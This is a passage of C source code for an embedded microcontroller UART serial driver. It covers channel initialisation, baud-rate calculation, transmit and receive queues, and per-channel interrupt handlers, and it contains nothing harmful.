Name: sci_init_uart\n* Description : This function initializes the control block and UART \n* registers for an SCI channel.\n*\n* NOTE: p_cfg is checked to be non-NULL prior to this function.\n* The TE and RE bits in SCR must be 0 prior to calling this function.\n*\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* p_cfg -\n* ptr to Uart configuration argument structure\n* p_priority -\n* pointer to location to load interrupt priority into\n* Return Value : SCI_SUCCESS - \n* channel initialized successfully\n* SCI_ERR_INVALID_ARG -\n* element of p_cfg contains illegal value\n******************************************************************************/\n/* PRQA S 3227 ++ */\n/* 3227- p_cfg could be const: eventually passed to sci_init_bit_rate() which\n * is also called by R_SCI_Control(), only there a void* is cast and passed,\n * and complications arise with const declarations there.\n */\nstatic sci_err_t sci_init_uart(sci_hdl_t const hdl,\n sci_uart_t * const p_cfg,\n uint8_t * const p_priority)\n{\nsci_err_t err=SCI_SUCCESS;\nint32_t bit_err;\n\n\n /* Check arguments */ \n\n#if (SCI_CFG_PARAM_CHECKING_ENABLE == 1)\n if (((p_cfg->data_size != SCI_DATA_8BIT) && (p_cfg->data_size != SCI_DATA_7BIT))\n || ((p_cfg->stop_bits != SCI_STOPBITS_1) && (p_cfg->stop_bits != SCI_STOPBITS_2))\n || ((p_cfg->int_priority < (BSP_MCU_IPL_MIN+1)) || (p_cfg->int_priority > BSP_MCU_IPL_MAX)))\n {\n return SCI_ERR_INVALID_ARG;\n }\n\n if (p_cfg->parity_en == SCI_PARITY_ON)\n {\n if ((p_cfg->parity_type != SCI_EVEN_PARITY) && (p_cfg->parity_type != SCI_ODD_PARITY))\n {\n return SCI_ERR_INVALID_ARG;\n }\n }\n else if (p_cfg->parity_en != SCI_PARITY_OFF)\n {\n return SCI_ERR_INVALID_ARG;\n }\n else\n {\n }\n if (p_cfg->clk_src == SCI_CLK_INT)\n {\n if (p_cfg->baud_rate == 0)\n {\n return SCI_ERR_INVALID_ARG;\n }\n }\n else if ((p_cfg->clk_src != SCI_CLK_EXT8X) && (p_cfg->clk_src != SCI_CLK_EXT16X))\n {\n return SCI_ERR_INVALID_ARG;\n }\n else\n {\n }\n#endif\n\n\n /* Initialize channel control block flags */\n\n hdl->tx_idle = true;\n \n /* Configure SMR for asynchronous mode, single processor, and user settings */\n if (p_cfg->parity_en == SCI_PARITY_OFF)\n {\n \tp_cfg->parity_type = 0; // ensure random value is not ORed into SMR\n }\n hdl->rom->regs->SMR.BYTE = p_cfg->data_size | p_cfg->stop_bits\n | p_cfg->parity_en | p_cfg->parity_type;\n \n /* SETUP CLOCK FOR BAUD RATE */\n\n if (p_cfg->clk_src == SCI_CLK_INT)\n {\n /* Use internal clock for baud rate */\n //TODO: Include peripheral clock speed in p_cfg? Only need if do Open() after\n // clock switch (BSP_PCLKB_HZ then not applicable)\n bit_err = sci_init_bit_rate(hdl, BSP_PCLKB_HZ, p_cfg->baud_rate);\n if (bit_err == 1000)\n {\n err = SCI_ERR_INVALID_ARG; // impossible baud rate; 100% error\n }\n else\n {\n hdl->baud_rate = p_cfg->baud_rate; // save baud rate for break generation\n }\n }\n else // Use external clock for baud rate\n {\n hdl->rom->regs->SCR.BIT.CKE = 0x02;\n if (p_cfg->clk_src == SCI_CLK_EXT8X)\n {\n hdl->rom->regs->SEMR.BIT.ABCS = 1;\n }\n }\n\n *p_priority = p_cfg->int_priority;\n return err;\n}\n/* PRQA S 3227 -- */\n\n/*****************************************************************************\n* Function Name: sci_init_bit_rate\n* Description : This function determines the best possible settings for the\n* baud rate registers for the specified peripheral clock speed\n* and baud rate. Note that this does not guarantee a low bit \n* error rate, just the best possible one. The bit rate error is\n* returned in .1% increments. If the hardware cannot support\n* the specified combination, a value of 1000 (100% error) is\n* returned.\n*\n* NOTE: The transmitter and receiver (TE and RE bits in SCR) must be disabled \n* prior to calling this function.\n*\n* The application must pause for 1 bit time after the BRR register\n* is loaded before transmitting/receiving to allow time for the clock\n* to settle. \n*\n* Arguments : hdl -\n* Handle for channel (ptr to chan control block)\n* NOTE: mode element must be already set\n* pclk -\n* Peripheral clock speed; e.g. 24000000 for 24MHz\n* baud -\n* Baud rate; 19200, 57600, 115200, etc.\n* Return Value : bit error in .1% increments; e.g. 16 = 1.6% bit rate error\n* a value of 1000 denotes 100% error; no registers set\n******************************************************************************/\nstatic int32_t sci_init_bit_rate(sci_hdl_t const hdl,\n uint32_t const pclk,\n uint32_t const baud)\n{\nuint32_t i,num_divisors;\nuint32_t ratio;\nuint32_t tmp,pclk_calc;\nint32_t bit_err;\nbaud_divisor_t *p_baud_info;\n\n\n#if (SCI_CFG_PARAM_CHECKING_ENABLE == 1)\n if ((pclk == 0) || (baud == 0))\n {\n return 1000;\n }\n#endif\n\n /* SELECT PROPER TABLE BASED UPON MODE */\n\n //if (hdl->mode == SCI_MODE_ASYNC)\n {\n p_baud_info = async_baud;\n num_divisors = NUM_DIVISORS_ASYNC;\n }\n\n\n /* FIND DIVISOR; table has associated ABCS and CKS values */\n // BRR must be 255 or less\n // the \"- 1\" is ignored in some steps for approximations\n // BRR = (PCLK/(divisor * baud)) - 1\n // BRR = (ratio / divisor) - 1\n\n ratio = pclk/baud;\n for(i=0; i < num_divisors; i++)\n {\n if (ratio < (uint32_t)(p_baud_info[i].divisor * 256))\n {\n break; /* PRQA S 0769 */\n } /* avoid using multiple breaks in iteration */\n }\n if (i == num_divisors)\n {\n return(1000);\n }\n \n\n /* ROUND UP/DOWN BRR AND SET BAUD RATE RELATED REGISTERS */\n\n /* divide ratio by only half the divisor and see if odd number */\n tmp = ratio/((uint32_t)p_baud_info[i].divisor/2);\n /* if odd, \"round up\" by ignoring -1; divide by 2 again for rest of divisor */\n hdl->rom->regs->BRR = (tmp & 0x01) ? (tmp/2) : ((tmp/2)-1); /* PRQA S 3790 */\n /* long to byte ok */\n hdl->rom->regs->SEMR.BIT.ABCS = p_baud_info[i].abcs;\n hdl->rom->regs->SMR.BIT.CKS = p_baud_info[i].cks;\n\n\n /* CALCULATE AND RETURN BIT RATE ERROR */\n\n // back calculate what PCLK should be:\n // BRR = (PCLK/(divisor * baud)) - 1\n // (BRR+1) * divisor * baud = PCLK\n pclk_calc = (uint32_t)(hdl->rom->regs->BRR +1) * (uint32_t)p_baud_info[i].divisor * baud;\n\n /* error represented in 0.1% increments */\n bit_err = (int32_t)(((pclk - pclk_calc) * 1000L) / pclk_calc); /* PRQA S 2834 */\n return bit_err; /* pclk_calc will not = 0 */\n}\n\n\n/*****************************************************************************\n* Function Name: sci_enable_ints\n* Description : This function sets priority, clears flags, and enables \n* interrupts in both the ICU and SCI peripheral. These include \n* RXI, TXI, TEI, and ERI/GROUP12.\n* interrupts.\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* priority -\n* priority for interrupts\n* Return Value : none\n******************************************************************************/\nstatic void sci_enable_ints(sci_hdl_t const hdl,\n uint8_t const priority)\n{\n \n /* SET PRIORITY FOR RXI, TXI, and TEI INTERRUPTS */\n *hdl->rom->ipr = priority; // includes ERI non-63x\n#ifdef BSP_MCU_RX63_ALL\n IPR(ICU,GROUP12) = SCI_CFG_RXERR_PRIORITY; // RX63x ERI equivalent\n#endif\n\n /* CLEAR INTERRUPT FLAGS */\n *hdl->rom->ir_rxi &= ~0x01U;\n *hdl->rom->ir_txi &= ~0x01U;\n#if SCI_CFG_TEI_INCLUDED\n *hdl->rom->ir_tei &= ~0x01U;\n#endif\n /* Do not clear group12 flag on RX63x. May be set for another channel */\n#ifndef BSP_MCU_RX63_ALL\n *hdl->rom->ir_eri &= ~0x01U;\n#endif\n \n /* ENABLE INTERRUPTS IN ICU */\n\n ENABLE_RXI_INT;\n ENABLE_TXI_INT;\n // ENABLE_TEI_INT occurs in sci_put_byte()\n#ifdef BSP_MCU_RX63_ALL\n IEN(ICU,GROUP12) = 1; // enable RX63x rx err interrupts\n#else\n ENABLE_ERI_INT;\n#endif\n\n /* ENABLE INTERRUPTS IN SCI PERIPHERAL */\n\n /* Note: Enable interrupts after xcvr or will get \"extra\" interrupt */\n hdl->rom->regs->SCR.BYTE |= SCI_EN_XCVR_MASK; // TE | RE\n#ifdef BSP_MCU_RX63_ALL\n ICU.GEN[12].BIT.EN2 = 1; // enable RX err GROUP12 for 63x\n#endif\n hdl->rom->regs->SCR.BYTE |= 0xC0U; // enable RXI, [ERI], and TXI\n // TEI is enabled via R_SCI_Control()\n return; \n}\n\n\n/*****************************************************************************\n* Function Name: R_SCI_Send\n* Description : Puts data in tx queue for sending on an SCI channel. \n* Transmit starts immediately if another transmission is \n* not already in progress.\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* p_src -\n* ptr to data to transmit\n* length - \n* number of bytes to send\n* Return Value : SCI_SUCCESS -\n* requested number of bytes sent/loaded into tx queue\n* SCI_ERR_NULL_PTR -\n* hdl or p_src is NULL\n* SCI_ERR_BAD_MODE -\n* channel mode not currently supported\n* SCI_ERR_INSUFFICIENT_SPACE - \n* not enough space in tx queue to store data\n******************************************************************************/\n/* PRQA S 2814 -- */\nsci_err_t R_SCI_Send(sci_hdl_t const hdl,\n uint8_t *p_src,\n uint16_t const length)\n{\nuint16_t cnt;\nsci_err_t err;\n\n\n /* Check arguments */\n\n#if (SCI_CFG_PARAM_CHECKING_ENABLE == 1)\n if ((hdl == NULL) || (p_src == NULL))\n {\n return SCI_ERR_NULL_PTR;\n }\n if (hdl->mode != SCI_MODE_ASYNC)\n {\n return SCI_ERR_BAD_MODE;\n }\n#endif\n\n\n /* Determine amount of space left in tx queue */\n\n DISABLE_TXI_INT;\n R_BYTEQ_Unused(hdl->tx_que, &cnt);\n ENABLE_TXI_INT;\n\n if (cnt < length)\n {\n /* If can't fit, return */\n err = SCI_ERR_INSUFFICIENT_SPACE;\n }\n else\n {\n /* Else load bytes into tx queue for transmission */ \n for (cnt=0; cnt < length; cnt++)\n {\n sci_put_byte(hdl, *p_src++);\n }\n err = SCI_SUCCESS;\n }\n return err;\n}\n\n\n/*****************************************************************************\n* Function Name: sci_put_byte\n* Description : Transmits byte if channel is not busy. Otherwise, byte is\n* stored in tx queue until can transmit. If buffer is full\n* and cannot store it, an error code is returned.\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* byte - \n* byte to transmit\n* Return Value : SCI_SUCCESS - \n* byte is sent or loaded into ring buffer\n* SCI_ERR_INSUFFICIENT_SPACE -\n* tx queue is full; cannot queue data \n******************************************************************************/\n/* PRQA S 2814 ++ */\n/* GRI 1/28/2013 hdl checked for null in calling faunction */\nstatic sci_err_t sci_put_byte(sci_hdl_t const hdl,\n uint8_t const byte)\n{\nuint16_t cnt;\n \n /* check if tx queue full */\n DISABLE_TXI_INT;\n R_BYTEQ_Unused(hdl->tx_que, &cnt);\n if (cnt == 0)\n {\n ENABLE_TXI_INT;\n return SCI_ERR_INSUFFICIENT_SPACE;\n }\n \n\n if (hdl->tx_idle == true)\n {\n ENABLE_TXI_INT;\n\n /* if xmtr is idle, kick off transmit */\n hdl->tx_idle = false;\n hdl->rom->regs->TDR = byte;\n#if SCI_CFG_TEI_INCLUDED\n /* Enable transmit end interrupt */\n ENABLE_TEI_INT;\n#endif\n }\n else\n {\n /* else load next byte into tx queue */\n R_BYTEQ_Put(hdl->tx_que, byte);\n ENABLE_TXI_INT;\n }\n \n return SCI_SUCCESS;\n}\n/* PRQA S 2814 -- */\n\n/*****************************************************************************\n* Function Name: sciN_txiN_isr\n* Description : TXI interrupt routines for every SCI channel\n* Arguments : none\n* Return Value : none\n******************************************************************************/\n#if SCI_CFG_CH0_INCLUDED\n#pragma interrupt sci0_txi0_isr(vect=VECT(SCI0,TXI0))\nstatic void sci0_txi0_isr(void)\n{\n txi_handler(&ch0_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH1_INCLUDED\n#pragma interrupt sci1_txi1_isr(vect=VECT(SCI1,TXI1))\nstatic void sci1_txi1_isr(void)\n{\n txi_handler(&ch1_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH2_INCLUDED\n#pragma interrupt sci2_txi2_isr(vect=VECT(SCI2,TXI2))\nstatic void sci2_txi2_isr(void)\n{\n txi_handler(&ch2_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH3_INCLUDED\n#pragma interrupt sci3_txi3_isr(vect=VECT(SCI3,TXI3))\nstatic void sci3_txi3_isr(void)\n{\n txi_handler(&ch3_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH4_INCLUDED\n#pragma interrupt sci4_txi4_isr(vect=VECT(SCI4,TXI4))\nstatic void sci4_txi4_isr(void)\n{\n txi_handler(&ch4_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH5_INCLUDED\n#pragma interrupt sci5_txi5_isr(vect=VECT(SCI5,TXI5))\nstatic void sci5_txi5_isr(void)\n{\n txi_handler(&ch5_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH6_INCLUDED\n#pragma interrupt sci6_txi6_isr(vect=VECT(SCI6,TXI6))\nstatic void sci6_txi6_isr(void)\n{\n txi_handler(&ch6_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH7_INCLUDED\n#pragma interrupt sci7_txi7_isr(vect=VECT(SCI7,TXI7))\nstatic void sci7_txi7_isr(void)\n{\n txi_handler(&ch7_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH8_INCLUDED\n#pragma interrupt sci8_txi8_isr(vect=VECT(SCI8,TXI8))\nstatic void sci8_txi8_isr(void)\n{\n txi_handler(&ch8_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH9_INCLUDED\n#pragma interrupt sci9_txi9_isr(vect=VECT(SCI9,TXI9))\nstatic void sci9_txi9_isr(void)\n{\n txi_handler(&ch9_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH10_INCLUDED\n#pragma interrupt sci10_txi10_isr(vect=VECT(SCI10,TXI10))\nstatic void sci10_txi10_isr(void)\n{\n txi_handler(&ch10_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH11_INCLUDED\n#pragma interrupt sci11_txi11_isr(vect=VECT(SCI11,TXI11))\nstatic void sci11_txi11_isr(void)\n{\n txi_handler(&ch11_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH12_INCLUDED\n#pragma interrupt sci12_txi12_isr(vect=VECT(SCI12,TXI12))\nstatic void sci12_txi12_isr(void)\n{\n txi_handler(&ch12_ctrl);\n}\n#endif\n\n\n/*****************************************************************************\n* Function Name: txi_handler\n* Description : TXI interrupt handler for SCI UART mode\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* Return Value : none\n******************************************************************************/\n/* PRQA S 2814 ++ */\n/* GRI 1/28/2013: hdl is hard-coded non-null value in calling interrupts */\nstatic void txi_handler(sci_hdl_t const hdl)\n{\n\n /* Get byte from que and place in TDR for transmit */\n if (R_BYTEQ_Get(hdl->tx_que, (uint8_t * const)&hdl->rom->regs->TDR) != BYTEQ_SUCCESS) /* PRQA S 0312 */\n { /* volatile to const */\n hdl->tx_idle = true; // set flag if queue empty\n }\n}\n/* PRQA S 2814 -- */\n\n\n#if SCI_CFG_TEI_INCLUDED\n/*****************************************************************************\n* Function Name: sciN_teiN_isr\n* Description : TEI interrupt routines for every SCI channel\n* Arguments : none\n* Return Value : none\n******************************************************************************/\n\n#if SCI_CFG_CH0_INCLUDED\n#pragma interrupt sci0_tei0_isr(vect=VECT(SCI0,TEI0))\nstatic void sci0_tei0_isr(void)\n{\n tei_handler(&ch0_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH1_INCLUDED\n#pragma interrupt sci1_tei1_isr(vect=VECT(SCI1,TEI1))\nstatic void sci1_tei1_isr(void)\n{\n tei_handler(&ch1_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH2_INCLUDED\n#pragma interrupt sci2_tei2_isr(vect=VECT(SCI2,TEI2))\nstatic void sci2_tei2_isr(void)\n{\n tei_handler(&ch2_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH3_INCLUDED\n#pragma interrupt sci3_tei3_isr(vect=VECT(SCI3,TEI3))\nstatic void sci3_tei3_isr(void)\n{\n tei_handler(&ch3_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH4_INCLUDED\n#pragma interrupt sci4_tei4_isr(vect=VECT(SCI4,TEI4))\nstatic void sci4_tei4_isr(void)\n{\n tei_handler(&ch4_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH5_INCLUDED\n#pragma interrupt sci5_tei5_isr(vect=VECT(SCI5,TEI5))\nstatic void sci5_tei5_isr(void)\n{\n tei_handler(&ch5_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH6_INCLUDED\n#pragma interrupt sci6_tei6_isr(vect=VECT(SCI6,TEI6))\nstatic void sci6_tei6_isr(void)\n{\n tei_handler(&ch6_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH7_INCLUDED\n#pragma interrupt sci7_tei7_isr(vect=VECT(SCI7,TEI7))\nstatic void sci7_tei7_isr(void)\n{\n tei_handler(&ch7_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH8_INCLUDED\n#pragma interrupt sci8_tei8_isr(vect=VECT(SCI8,TEI8))\nstatic void sci8_tei8_isr(void)\n{\n tei_handler(&ch8_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH9_INCLUDED\n#pragma interrupt sci9_tei9_isr(vect=VECT(SCI9,TEI9))\nstatic void sci9_tei9_isr(void)\n{\n tei_handler(&ch9_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH10_INCLUDED\n#pragma interrupt sci10_tei10_isr(vect=VECT(SCI10,TEI10))\nstatic void sci10_tei10_isr(void)\n{\n tei_handler(&ch10_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH11_INCLUDED\n#pragma interrupt sci11_tei11_isr(vect=VECT(SCI11,TEI11))\nstatic void sci11_tei11_isr(void)\n{\n tei_handler(&ch11_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH12_INCLUDED\n#pragma interrupt sci12_tei12_isr(vect=VECT(SCI12,TEI12))\nstatic void sci12_tei12_isr(void)\n{\n tei_handler(&ch12_ctrl);\n}\n#endif\n\n\n/*****************************************************************************\n* Function Name: tei_handler\n* Description : TEI interrupt handler for SCI UART mode\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* Return Value : none\n******************************************************************************/\n/* PRQA S 2814 ++ */\n/* GRI 1/28/2013: hdl is hard-coded non-null value in calling interrupts */\nstatic void tei_handler(sci_hdl_t const hdl)\n{\nsci_cb_args_t args;\n\n\n DISABLE_TEI_INT;\n \n if (hdl->callback != NULL)\n {\n args.hdl = hdl;\n args.event = SCI_EVT_TEI;\n hdl->callback((void *)&args);\n }\n}\n/* PRQA S 2814 -- */\n#endif //SCI_CFG_TEI_INCLUDED\n\n\n/*****************************************************************************\n* Function Name: R_SCI_Receive\n* Description : Gets data received on an SCI channel referenced by the handle \n* from rx queue. Function does not block if the requested \n* number of bytes is not available. If any errors occurred \n* during reception by hardware, they are handled by the callback \n* function specified in R_SCI_Open() and no corresponding error \n* code is provided here.\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* p_dst -\n* ptr to buffer to load data into\n* length - \n* number of bytes to read\n* Return Value : SCI_SUCCESS -\n* requested number of byte loaded into p_dst\n* SCI_ERR_NULL_PTR -\n* hdl or p_dst is NULL\n* SCI_ERR_BAD_MODE -\n* channel mode not currently supported\n* SCI_ERR_INSUFFICIENT_DATA -\n* rx queue does not contain requested amount of data\n******************************************************************************/\nsci_err_t R_SCI_Receive(sci_hdl_t const hdl,\n uint8_t *p_dst,\n uint16_t const length)\n{\nsci_err_t err;\nuint16_t cnt;\n\n\n /* Check arguments */\n\n#if (SCI_CFG_PARAM_CHECKING_ENABLE == 1)\n if ((hdl == NULL) || (p_dst == NULL))\n {\n return SCI_ERR_NULL_PTR;\n }\n if (hdl->mode != SCI_MODE_ASYNC)\n {\n return SCI_ERR_BAD_MODE;\n }\n#endif\n\n DISABLE_RXI_INT;\n R_BYTEQ_Used(hdl->rx_que, &cnt);\n ENABLE_RXI_INT;\n\n if (cnt < length)\n {\n err = SCI_ERR_INSUFFICIENT_DATA;\n }\n else\n {\n /* Get bytes from rx queue */\n for (cnt=0; cnt < length; cnt++)\n { \n sci_get_byte(hdl, p_dst++);\n }\n\n err = SCI_SUCCESS;\n }\n\n return err;\n}\n\n\n/*****************************************************************************\n* Function Name: sci_get_byte\n* Description : Gets byte from rz queue if one is available.\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* p_byte -\n* ptr to load byte into\n* Return Value : SCI_SUCCESS -\n* byte was loaded\n* SCI_ERR_INSUFFICIENT_DATA -\n* rx queue is empty; no byte loaded\n******************************************************************************/\n/* PRQA S 2814 ++ */\n/* GRI 1/28/2013 hdl checked for null in calling function */\nstatic sci_err_t sci_get_byte(sci_hdl_t const hdl,\n uint8_t * const p_byte)\n{\nsci_err_t err; /* PRQA S 3204 */ /* can't make const though assigned once */\nbyteq_err_t q_err;\n \n\n DISABLE_RXI_INT;\n q_err = R_BYTEQ_Get(hdl->rx_que, p_byte);\n ENABLE_RXI_INT;\n \n err = (q_err == BYTEQ_SUCCESS) ? SCI_SUCCESS : SCI_ERR_INSUFFICIENT_DATA;\n return err;\n} \n/* PRQA S 2814 -- */\n\n/*****************************************************************************\n* Function Name: sciN_rxiN_isr\n* Description : RXI interrupt routines for every SCI channel\n* Arguments : none\n* Return Value : none\n******************************************************************************/\n#if SCI_CFG_CH0_INCLUDED\n#pragma interrupt sci0_rxi0_isr(vect=VECT(SCI0,RXI0))\nstatic void sci0_rxi0_isr(void)\n{\n rxi_handler(&ch0_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH1_INCLUDED\n#pragma interrupt sci1_rxi1_isr(vect=VECT(SCI1,RXI1))\nstatic void sci1_rxi1_isr(void)\n{\n rxi_handler(&ch1_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH2_INCLUDED\n#pragma interrupt sci2_rxi2_isr(vect=VECT(SCI2,RXI2))\nstatic void sci2_rxi2_isr(void)\n{\n rxi_handler(&ch2_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH3_INCLUDED\n#pragma interrupt sci3_rxi3_isr(vect=VECT(SCI3,RXI3))\nstatic void sci3_rxi3_isr(void)\n{\n rxi_handler(&ch3_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH4_INCLUDED\n#pragma interrupt sci4_rxi4_isr(vect=VECT(SCI4,RXI4))\nstatic void sci4_rxi4_isr(void)\n{\n rxi_handler(&ch4_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH5_INCLUDED\n#pragma interrupt sci5_rxi5_isr(vect=VECT(SCI5,RXI5))\nstatic void sci5_rxi5_isr(void)\n{\n rxi_handler(&ch5_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH6_INCLUDED\n#pragma interrupt sci6_rxi6_isr(vect=VECT(SCI6,RXI6))\nstatic void sci6_rxi6_isr(void)\n{\n rxi_handler(&ch6_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH7_INCLUDED\n#pragma interrupt sci7_rxi7_isr(vect=VECT(SCI7,RXI7))\nstatic void sci7_rxi7_isr(void)\n{\n rxi_handler(&ch7_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH8_INCLUDED\n#pragma interrupt sci8_rxi8_isr(vect=VECT(SCI8,RXI8))\nstatic void sci8_rxi8_isr(void)\n{\n rxi_handler(&ch8_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH9_INCLUDED\n#pragma interrupt sci9_rxi9_isr(vect=VECT(SCI9,RXI9))\nstatic void sci9_rxi9_isr(void)\n{\n rxi_handler(&ch9_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH10_INCLUDED\n#pragma interrupt sci10_rxi10_isr(vect=VECT(SCI10,RXI10))\nstatic void sci10_rxi10_isr(void)\n{\n rxi_handler(&ch10_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH11_INCLUDED\n#pragma interrupt sci11_rxi11_isr(vect=VECT(SCI11,RXI11))\nstatic void sci11_rxi11_isr(void)\n{\n rxi_handler(&ch11_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH12_INCLUDED\n#pragma interrupt sci12_rxi12_isr(vect=VECT(SCI12,RXI12))\nstatic void sci12_rxi12_isr(void)\n{\n rxi_handler(&ch12_ctrl);\n}\n#endif\n\n\n/*****************************************************************************\n* Function Name: rxi_handler\n* Description : RXI interrupt handler for SCI UART mode\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* Return Value : none\n******************************************************************************/\n/* PRQA S 2814 ++ */\n/* GRI 1/28/2013: hdl is hard-coded non-null value in calling interrupts */\nstatic void rxi_handler(sci_hdl_t const hdl)\n{\nsci_cb_args_t args;\nuint8_t byte;\n\n\n /* Read byte */\n byte = hdl->rom->regs->RDR;\n \n /* Place in queue */\n if (R_BYTEQ_Put(hdl->rx_que, byte) == BYTEQ_SUCCESS)\n {\n args.event = SCI_EVT_RX_CHAR;\n }\n else\n {\n args.event = SCI_EVT_RXBUF_OVFL;\n }\n\n /* Do callback if available */\n if (hdl->callback != NULL)\n {\n args.hdl = hdl;\n args.byte = byte;\n hdl->callback((void *)&args);\n }\n}\n/* PRQA S 2814 -- */\n\n\n#ifdef BSP_MCU_RX63_ALL\n/*****************************************************************************\n* Function Name: icu_group12_isr\n* Description : SCI receiver error interrupt handler for all channels\n* Arguments : none\n* Return Value : none\n******************************************************************************/\n#pragma interrupt icu_group12_isr(vect=VECT(ICU,GROUP12))\nstatic void icu_group12_isr(void)\n{\nsci_cb_args_t args;\nuint32_t err,mask;\nuint8_t i,byte;\n\n /*\n * Get group12 error value. Bit 0 corresponds to ch0, bit 1 to ch1, etc.\n * If a bit is set, an error occurred on that corresponding channel.\n * Loop through each bit (channel), and if an error occurred on that\n * channel and it is enabled by this driver, process the error.\n */\n err = ICU.GRP[12].LONG;\n for (i=0,mask=1; i < SCI_NUM_CH; i++, mask<<=1)\n {\n if ((err & mask & SCI_CFG_CH_INCLUDED_MASK) != 0)\n {\n /* Flush register */\n byte = g_handles[i]->rom->regs->RDR;\n\n /* Do callback for error */\n if (g_handles[i]->callback != NULL)\n {\n args.hdl = g_handles[i];\n args.byte = byte;\n if (g_handles[i]->rom->regs->SSR.BIT.ORER == 1)\n {\n args.event = SCI_EVT_OVFL_ERR;\n }\n else if (g_handles[i]->rom->regs->SSR.BIT.PER == 1)\n {\n args.event = SCI_EVT_PARITY_ERR;\n }\n else if (g_handles[i]->rom->regs->SSR.BIT.FER == 1)\n {\n args.event = SCI_EVT_FRAMING_ERR;\n }\n g_handles[i]->callback((void *)&args);\n }\n \n /* Clear error condition */\n g_handles[i]->rom->regs->SSR.BYTE &= ~SCI_RCVR_ERR_MASK;\n while ((g_handles[i]->rom->regs->SSR.BYTE & SCI_RCVR_ERR_MASK) != 0)\n {\n byte = g_handles[i]->rom->regs->RDR;\n g_handles[i]->rom->regs->SSR.BYTE &= ~SCI_RCVR_ERR_MASK;\n }\n }\n } \n\n}\n#else // not BSP_MCU_RX63_ALL\n\n/*****************************************************************************\n* Function Name: sciN_eriN_isr\n* Description : ERI interrupt routines for every SCI channel\n* Arguments : none\n* Return Value : none\n******************************************************************************/\n#if SCI_CFG_CH0_INCLUDED\n#pragma interrupt sci0_eri0_isr(vect=VECT(SCI0,ERI0))\nstatic void sci0_eri0_isr(void)\n{\n eri_handler(&ch0_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH1_INCLUDED\n#pragma interrupt sci1_eri1_isr(vect=VECT(SCI1,ERI1))\nstatic void sci1_eri1_isr(void)\n{\n eri_handler(&ch1_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH2_INCLUDED\n#pragma interrupt sci2_eri2_isr(vect=VECT(SCI2,ERI2))\nstatic void sci2_eri2_isr(void)\n{\n eri_handler(&ch2_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH3_INCLUDED\n#pragma interrupt sci3_eri3_isr(vect=VECT(SCI3,ERI3))\nstatic void sci3_eri3_isr(void)\n{\n eri_handler(&ch3_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH4_INCLUDED\n#pragma interrupt sci4_eri4_isr(vect=VECT(SCI4,ERI4))\nstatic void sci4_eri4_isr(void)\n{\n eri_handler(&ch4_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH5_INCLUDED\n#pragma interrupt sci5_eri5_isr(vect=VECT(SCI5,ERI5))\nstatic void sci5_eri5_isr(void)\n{\n eri_handler(&ch5_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH6_INCLUDED\n#pragma interrupt sci6_eri6_isr(vect=VECT(SCI6,ERI6))\nstatic void sci6_eri6_isr(void)\n{\n eri_handler(&ch6_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH7_INCLUDED\n#pragma interrupt sci7_eri7_isr(vect=VECT(SCI7,ERI7))\nstatic void sci7_eri7_isr(void)\n{\n eri_handler(&ch7_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH8_INCLUDED\n#pragma interrupt sci8_eri8_isr(vect=VECT(SCI8,ERI8))\nstatic void sci8_eri8_isr(void)\n{\n eri_handler(&ch8_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH9_INCLUDED\n#pragma interrupt sci9_eri9_isr(vect=VECT(SCI9,ERI9))\nstatic void sci9_eri9_isr(void)\n{\n eri_handler(&ch9_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH10_INCLUDED\n#pragma interrupt sci10_eri10_isr(vect=VECT(SCI10,ERI10))\nstatic void sci10_eri10_isr(void)\n{\n eri_handler(&ch10_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH11_INCLUDED\n#pragma interrupt sci11_eri11_isr(vect=VECT(SCI11,ERI11))\nstatic void sci11_eri11_isr(void)\n{\n 